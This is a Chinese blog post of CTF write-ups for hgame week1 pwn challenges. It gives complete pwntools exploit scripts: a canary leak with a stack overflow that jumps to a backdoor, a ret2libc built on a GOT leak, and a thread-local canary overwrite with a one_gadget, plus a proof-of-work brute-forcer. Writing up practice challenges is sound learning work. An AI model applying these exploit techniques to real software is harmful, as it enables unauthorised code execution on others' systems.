hgame week1 部分pwn

test_your_nc

nc后cat flag

test_your_gdb

image
image

gdb看s2,让buf前两个字相等进if。拿好write写出的canary,通过gets栈溢出。题目有后门函数。

from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
#p=gdb.debug('./a.out')
p=process('./a.out')
# p=remote('chuj.top',50428)
# gdb.attach(p)
elf=ELF('./a.out')
#memcmp
s0=0xb0361e0e8294f147
s1=0x8c09e0c34ed8a6a9
pay=p64(s0)+p64(s1)
#canary
p.sendafter('enter your pass word\n',pay)
p.recv(0x20-0x8)
canary=u64(p.recv(8))
print(hex(canary))
p.recv()

backdoor=0x401256
pay=b'c'*(0x20-0x8)
pay+=p64(canary)
pay+=b'd'*8
pay+=p64(backdoor)
pay+=p64(0)
p.sendline(pay)
p.interactive()

enter_the_pwn_land

image
image
test_thread的栈:
image
由于是一位一位读的,控制好 i 的值,然后泄露got表,ret2libc

from pwn import *
p=process('./a.out')
#nc chuj.top 32806
# p=remote('chuj.top',32806)
elf=ELF('./a.out')
libc=ELF('./libc-2.31.so')

pop_rdi_ret=0x401313
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']

pay=b'a'*(0x30-0x4)
pay+=p32(0x30-0x4)
pay+=b's'*8
pay+=p64(pop_rdi_ret)
pay+=p64(puts_got)
pay+=p64(puts_plt)
pay+=p64(main_addr)

gdb.attach(p,'b puts')

p.sendline(pay)
p.recvline()
puts_addr=u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
print(hex(puts_addr))

base=puts_addr-libc.symbols['puts']
binsh=base+next(libc.search(b'/bin/sh'))
print(hex(binsh))
system=base+libc.symbols['system']
ret=0x40101a

pay=b'a'*(0x30-0x4)
pay+=p32(0x30-0x4)
pay+=b's'*8
pay+=p64(ret)
pay+=p64(pop_rdi_ret)
pay+=p64(binsh)
pay+=p64(system)
pay+=p64(0)

p.sendline(pay)
p.recvline()
# p.interactive()

enter_the_evil_pwn_land

image
main函数
image
test_thread函数
image
test_thread函数栈(没法控制 i 咯)
image
因为有多线程,可以覆盖TLS中的fs+0x28,即存储canary的地方,从而绕过canary保护。大概算了一下s到tls的距离,2000多个字节,而我们可以输入4095个字节
可以通过https://vishnudevtj.github.io/notes/star-ctf-2018-babystack中的方法找到tls的地址
具体原理搜索StarCTF2018 babystack (我没太看懂捏
没有system和后门,正常思路泄露got然后ret2libc。但有没有一种可能覆盖tls表的时候会顺便把got误杀了呜呜呜
所以这里要借助构建test_thread函数栈前栈上残留的不知名函数(称作junk)地址来泄露libc。junk到libc基址的差是固定的。gdb看出junk在rsp+0x38的位置
image
函数junk
image
然后vmmap看libc基址,算出偏址
第一次输入搞到junk地址,注意00截断,然后算libc基址。第二次输入调system不好对齐,调不了。。借助one_gadget弄到一个execv,注意满足一下条件。
最后出题人为了防dos搞了个proof of work,要先爆破四位sha256才能进容器。。。

import hashlib
import string
from pwn import *
def blow(sha):
    dic=string.ascii_letters
    dic+=string.digits
    for a in dic:
        for b in dic:
            for c in dic:
                for d in dic:
                    input=bytes(a+b+c+d,encoding='utf-8')
                    if(hashlib.sha256(input).hexdigest()==sha):
                        print(str(input))
                        return input
p=remote('chuj.top',36927)
p.recvline()
p.recvuntil('== ')
sha=str(p.recvuntil('\n',drop=1),encoding='utf-8')
print(sha)
input=blow(sha)
p.sendline(input)


elf=ELF('./a.out')
libc=ELF('./libc-2.31.so')
pay=b'a'*(0x38-0x18-1)+b'b'
p.sendline(pay)
p.recvuntil('ab')
junk=u64(p.recv(6).ljust(8,b'\x00'))-10
print(hex(junk))
"""
libc_base(big)
0x7fc569af2000
# junk(small)
0x7fc569aee700
"""
# gdb.attach(p)
# pause()
offset_libc=0x7fc569af2000-0x7fc569aee700
base=junk+offset_libc
execv=0xe6c81+base
"""
break point
0x40124A
fs28=0x7ffff7d9c728
s=0x7ffff7d9bec0
offset_fs28=fs28-s
"""
offset_fs28=0x7ffff7d9c728-0x7ffff7d9bec0

pay=b'\x00'*(0x30+0x8)+p64(execv)+p64(0)+b'\x00'*offset_fs28
p.sendline(pay)
p.interactive()
posted @ 2022-01-28 19:56  KingBridge  阅读(172)  评论(0编辑  收藏  举报